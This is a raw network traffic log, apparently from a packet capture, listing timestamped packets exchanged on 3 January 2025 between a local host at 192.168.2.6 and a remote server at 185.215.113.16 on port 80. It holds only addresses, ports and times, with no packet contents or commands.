Jan 3, 2025 15:21:28.037234068 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037269115 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037281990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037293911 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037318945 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.037336111 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.037362099 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037375927 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037400961 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037410975 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037420988 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.037422895 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037441969 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.037448883 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037461996 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037472963 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037482977 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037489891 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.037493944 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037504911 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037506104 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.037533045 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.037545919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037574053 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037585020 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037589073 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.037596941 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037606955 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037619114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037626982 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.037647009 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.037736893 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037748098 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037758112 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037770033 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037772894 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.037781954 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037794113 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037801027 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.037803888 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037817001 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.037828922 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.037839890 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.040366888 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.040433884 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.040446997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.040457964 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.040471077 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.040481091 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.040498018 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.040513039 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.040518999 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.040525913 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.040549040 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.040555954 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.040566921 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.040580034 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.040590048 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.040601969 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.040610075 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.040612936 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.040625095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.040628910 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.040636063 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.040652990 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.040692091 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.059165955 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.061382055 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.110099077 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.110130072 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.110147953 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.110162973 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.110200882 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.110219002 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.347158909 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.352020979 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.569200039 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.569211960 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.569222927 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.569262028 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.569597006 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.569657087 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.569731951 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.569741964 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.569780111 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.569863081 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.569874048 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.569927931 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.569998026 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.570007086 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.570017099 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.570029020 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.570039034 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.570053101 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.570075989 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.570122957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.570281029 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.659451962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.659463882 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.659513950 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.693876028 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.693896055 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.693908930 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.693919897 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.693932056 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.693941116 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.693984032 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.694008112 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.694113016 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.694178104 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.694190979 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.694202900 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.694225073 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.694256067 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.694276094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.694288969 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.694300890 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.694312096 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.694324017 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.694334984 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.694339991 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.694367886 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.694466114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.694478035 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.694490910 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.694503069 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.694538116 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.694577932 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.694629908 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.694648027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.694659948 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.694674015 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.694686890 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.694706917 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.694719076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.694729090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.694767952 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.827867985 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.827882051 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.827893019 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.827928066 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.828453064 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828479052 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828526974 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.828532934 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828552008 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828563929 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828593016 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.828603983 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.828649998 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828661919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828674078 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828685045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828697920 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.828725100 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828726053 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.828739882 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828763008 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828774929 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828783989 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.828787088 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828824997 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.828845024 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828855991 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828877926 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828893900 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.828893900 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828907967 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828912973 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.828926086 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828938007 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828948975 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828948975 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.828975916 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.828979015 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.828989983 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829015970 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.829020977 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829032898 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829044104 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829068899 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829071045 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.829080105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829092026 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829094887 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.829108000 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829119921 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829119921 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.829133034 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829150915 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.829181910 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.829220057 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829231977 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829242945 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829271078 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.829293966 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829313040 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829324007 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829329014 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.829336882 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829346895 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829358101 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829365015 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.829369068 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829377890 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.829380989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829391956 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829404116 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829407930 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.829415083 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.829430103 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.829449892 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.953128099 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953141928 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953155041 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953166008 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953177929 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953193903 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953195095 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.953243017 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.953265905 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.953432083 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953493118 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953515053 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953537941 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.953538895 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953552008 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953562975 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953577995 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.953588963 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953599930 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953604937 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.953612089 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953624010 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953632116 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.953635931 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953671932 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.953840971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953852892 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953864098 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953892946 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.953902960 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.953953028 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953967094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953983068 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.953993082 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954005003 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.954010010 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954035044 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.954036951 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954056025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954066038 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954076052 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.954078913 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954099894 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954102993 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.954117060 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954128981 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954138994 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954145908 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.954164028 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.954175949 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954193115 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954204082 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954221010 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954229116 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.954233885 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954243898 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954252958 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.954252958 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954262018 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954272985 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954278946 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.954304934 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.954319954 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.954375029 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954433918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954463005 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954474926 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954485893 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954513073 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.954570055 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954588890 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954601049 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954612017 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954631090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954632044 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.954657078 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.954658031 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954675913 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.954675913 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954688072 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954699993 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954710007 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954720974 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.954721928 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954734087 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954747915 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.954781055 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.954965115 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.954992056 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955003023 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955012083 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.955014944 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955037117 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.955040932 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955053091 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955064058 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955074072 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955080986 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.955085993 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955096006 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955097914 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.955106974 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955123901 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.955137014 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955137014 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.955147982 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955161095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955184937 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955188036 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.955194950 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955212116 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955224037 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955224037 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.955234051 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955245018 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955250025 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.955256939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955269098 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955274105 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.955280066 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955291033 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955296040 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.955305099 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955319881 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.955352068 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.955374002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955384970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.955404997 CET	80	49829	185.215.113.16	192.168.2.6
